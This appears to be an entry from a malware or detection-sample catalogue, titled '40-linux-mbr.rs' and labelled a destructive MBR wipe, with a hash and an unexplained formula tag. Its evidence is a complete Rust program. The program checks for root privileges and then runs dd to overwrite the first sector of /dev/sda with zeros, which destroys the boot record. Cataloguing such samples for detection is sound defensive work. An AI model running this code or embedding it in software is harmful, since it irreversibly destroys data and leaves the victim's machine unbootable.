40-linux-mbr.rs
Destructive MBR wipe command
Destructive overwrite of a raw block deviceLanguage exec of dd zeroing a device
SHA-25650b472946b83373455f5917e9ce98fe5d09b166fa58a0b06976bafce07f9f620
MaleculeO₂(IS)H₃(F₂OsPo₃)
Evidence
1use std::process::Command;
2fn main() {
3 if unsafe { libc::geteuid() } != 0 { return; }
4 let _ = Command::new("dd").args(["if=/dev/zero","of=/dev/sda","bs=512","count=1"]).status();
5}